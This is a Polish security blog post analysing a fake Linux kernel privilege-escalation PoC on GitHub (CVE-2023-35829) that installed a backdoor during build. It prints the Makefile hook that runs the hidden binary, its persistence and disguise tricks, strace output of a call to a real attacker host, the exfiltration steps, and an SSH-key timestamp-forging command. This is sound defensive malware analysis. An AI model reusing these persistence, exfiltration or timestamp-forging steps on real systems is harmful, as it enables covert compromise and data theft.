Kiedy skrypciaki łykają jak młody pelikan na zimę

nfsec.pl 9 miesięcy temu

3

lipca odnośnik do eksploita umożliwiającego uzyskanie uprawnień administratora w systemie Linux rozprzestrzenił się w różnych społecznościach na Telegramie i Twitterze. Napisała choćby o tym prasa branżowa. Rzekomy kod dowodu koncepcji (Proof of Concept – PoC) błędu opisanego w CVE-2023-35829 niestety okazał się zupełnie czymś innym niż pierwotnie zakładano. Przed usunięciem fałszywego profilu użytkownika ChriSanders22 z serwisu GitHub kod PoC został oznaczony gwiazdką przez ponad 100 użytkowników, a 25’ciu rozgałęziło go na swoje konta. Kilka osób, które uruchomiło kod bez jego weryfikacji zauważyło dziwne zmiany w plikach konfiguracyjnych powłoki bash – $HOME/.bashrc. Jak to? Co ma wspólnego exploit z dopisywaniem czegoś o plików powłoki? Otóż jeżeli przyjrzeć się bliżej procesowi kompilacji to można zauważyć, iż plik Makefile odwoływał się do binarnego pliku alocal.m4:

14 $(TARGET): $(OBJECTS) 15 $(CC) $(LDFLAGS) -o $@ $^ 16 strip $@ 17 ./src/aclocal.m4 agresor@darkstar:~/CVE-2023-35829-poc$ make mkdir obj cc -c src/keyring.c -o obj/keyring.o -I./inc cc -c src/main.c -o obj/main.o -I./inc cc -c src/modprobe.c -o obj/modprobe.o -I./inc cc -c src/netlink.c -o obj/netlink.o -I./inc cc -c src/nf_tables.c -o obj/nf_tables.o -I./inc cc -c src/simple_xattr.c -o obj/simple_xattr.o -I./inc cc -c src/uring.c -o obj/uring.o -I./inc cc -c src/util.c -o obj/util.o -I./inc cc -pthread -static -o poc obj/keyring.o obj/main.o obj/modprobe.o obj/netlink.o obj/nf_tables.o obj/simple_xattr.o obj/uring.o obj/util.o strip poc ./src/aclocal.m4 cc -o get_root get_root_src/get_root.c rm -fr get_root

Co dokładnie robiła tajemnicza binarka? Otóż pierwszym jej krokiem było „sklonowanie siebie” do pliku w ścieżce $HOME/.local/kworker i nadanie praw do wykonywania:

agresor@darkstar:~$ ls -al .local/kworker -rwxrwx--- 1 agresor agresor 23256 Jun 8 16:27 .local/kworker

Mechanizm persystencji w systemie polegał na skopiowaniu wywołania tej samej ścieżki do pliku $HOME/.bashrc, tak aby każde uruchomienie powłoki startowało też szkodliwy proces:

agresor@darkstar:~$ grep kworker .bashrc /home/agresor/.local/kworker

Po uruchomieniu procesu tworzony był plik blokady, aby zapewnić, iż proces nie zostanie wykonany więcej niż jeden raz:

agresor@darkstar:~$ ls -al /tmp/.ICE-unix.pid -rw-rw-r-- 1 agresor agresor 5 Jun 8 17:09 /tmp/.ICE-unix.pid agresor@darkstar:~$ cat /tmp/.ICE-unix.pid 3752 agresor@darkstar:~$ ps x | grep kworker 3753 pts/0 S 0:00 [kworker/8:3] .local/kworker

Po sprawdzeniu ścieżki /tmp/.ICE-unix.pid zapisywał PID (3752) aktualnie uruchomionego procesu – tylko jeżeli żadna funkcja nie użyła wywołania flock(2) do ograniczenia dostępu do pliku. Uruchomienie programu w tle jest kontynuowane tylko wtedy, gdy główna funkcja zwraca zero (0), co wskazuje, iż bieżący proces jest wyłączny:

openat(AT_FDCWD, "/tmp/.ICE-unix.pid", O_RDWR|O_CREAT, 0666) = 3 flock(3, LOCK_EX|LOCK_NB) = 0 getpid() = 3752 ftruncate(3, 0) = 0 write(3, "3752\n", 5) = 5 stat("/tmp/.ICE-unix.pid", {st_mode=S_IFREG|0664, st_size=5, ...}) = 0 utimensat(AT_FDCWD, "/tmp/.ICE-unix.pid", [{tv_sec=1689268194, tv_nsec=0} /* 2023-07-13T17:09:54+0000 */, {tv_sec=1686244194, tv_nsec=0} /* 2023-06-08T17:09:54+0000 */], 0) = 0 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fe77f67fc50) = 3753 exit_group(0) = ? +++ exited with 0 +++

Należy też zwrócić uwagę na fakt, iż tworzony jest łańcuch [kworker/8:3], aby ukryć oryginalne parametry wiersza poleceń:

root@darkstar:~# cat /proc/3753/comm kworker root@darkstar:~# cat /proc/3753/cmdline [kworker/8:3].local/kworker root@darkstar:~# ls -la /proc/3753/fd total 0 dr-x------ 2 agresor agresor 0 Jul 13 18:05 . dr-xr-xr-x 9 agresor agresor 0 Jul 13 18:05 .. lrwx------ 1 agresor agresor 64 Jul 13 18:05 0 -> /dev/pts/0 lrwx------ 1 agresor agresor 64 Jul 13 18:05 1 -> /dev/pts/0 lrwx------ 1 agresor agresor 64 Jul 13 18:05 2 -> /dev/pts/0 lrwx------ 1 agresor agresor 64 Jul 13 18:05 3 -> /tmp/.ICE-unix.pid

Po wystartowaniu w tle proces odczekiwał dwie minuty:

clock_nanosleep(CLOCK_REALTIME, 0, {tv_sec=120, tv_nsec=0}

Po czym wykonywał żądanie HTTP do URL: hxxp[:]//cunniloss[.]accesscam[.]org/hash[.]php (tutaj oszukany jako localhost):

getpeername(6, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("127.0.0.1")}, [128 => 16]) = 0 <0.000184> getsockname(6, {sa_family=AF_INET, sin_port=htons(45500), sin_addr=inet_addr("127.0.0.1")}, [128 => 16]) = 0 <0.000180> sendto(6, "GET /hash.php HTTP/1.1\r\nHost: cunniloss.accesscam.org\r\nAccept: */*\r\n\r\n", 70, MSG_NOSIGNAL, NULL, 0) = 70 <0.000231> --- root@darkstar:~# python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 127.0.0.1 - - [13/Jul/2023 17:58:11] "GET /hash.php HTTP/1.1" 200 - --- root@darkstar:~# tcpflow -i any -c port 80 reportfilename: ./report.xml tcpflow: listening on any 127.000.000.001.45934-127.000.000.001.00080: GET /hash.php HTTP/1.1 Host: cunniloss.accesscam.org User-Agent: curl/7.81.0 Accept: */*

Plik hash.php był w rzeczywistości skryptem bash, który był uruchamiany jeżeli żądanie curl się powiodło. Należy zwrócić uwagę na charakterystykę żądania HTTP, ponieważ gdy żądanie było wykonane z nieprawidłowymi metadanymi (np. nagłówek User-Agent nie z narzędzia curl, inny Accept) wówczas serwer atakującego nie zwracał skryptu bash tylko pustą zawartość i blokował adres IP klienta. Jak możemy odczytać instrukcje w skrypcie – zbierał on dane o serwerze (uname, uptime..) do pliku tekstowego, następnie wykonywał zrzut ekranu, aby na końcu skompresować cały folder domowy użytkownika. Po każdym z tych kroków wysyłał zebrane dane od razu do serwisu transfer[.]sh (legalna usługa hostingu plików niezwiązana z atakiem) oraz przekazywał linki do przesłanych plików na swój serwer cunniloss. Ostatnim krokiem było dodanie swojego klucza SSH jako autoryzowanego do ścieżki: ~/.ssh/authorized_keys oraz trick resetujący sygnatury czasu tak, aby nie można było poznać, iż plik ten został ostatnio zmodyfikowany:

AUTH=~/.ssh/authorized_keys touch -r /etc/passwd $AUTH

A, co z samym PoC – oczywiście był to specjalnie spreparowany kod, który śpi przez losowy czas, drukuje „legitnie” wyglądające napisy, ostatecznie uruchamiając powłokę /bin/bash. W dodatku podczas wydania polecenia whoami fałszuje identyfikator użytkownika i wyświetla „root”. To oszustwo odbywa się poprzez wykorzystanie różnicy w identyfikatorze przestrzeni nazw użytkownika wewnątrz i na zewnątrz powłoki PoC. Nauka z tego płynie taka, aby zawsze sprawdzać kod źródłowy systemu pobranego z „obcych” repozytoriów. jeżeli nie czujemy się kompetentni w danym języku programowania to i tak należy zawsze uruchamiać tego rodzaju kod tylko w odizolowanych środowiskach badawczych, takich jak maszyny wirtualne – najlepiej na takich, które wyposażone są w oprogramowanie zbierające zdarzenia (plikowe, sieciowe, uruchomieniowe) z systemu byśmy mogli je później przeanalizować. Chociaż nie jest to całkowicie nowy trend, rozprzestrzenianie złośliwego systemu za pośrednictwem kodów PoC stanowi poważne zagrożenie i prawdopodobnie będziemy świadkami dalszej ewolucji tej taktyki.

Więcej informacji: CVE-2023-35829-poc & CVE-2023-20871-poc: If it looks too good to be true…, Fake PoC for Linux Kernel Vulnerability on GitHub Exposes Researchers to Malware, PoC Exploit: Fake Proof of Concept with Backdoor Malware, Alert: Vulnerability Researchers and Red Team Members Targeted in Watering Hole Attack, Andrei Scutariu on Twitter

Idź do oryginalnego materiału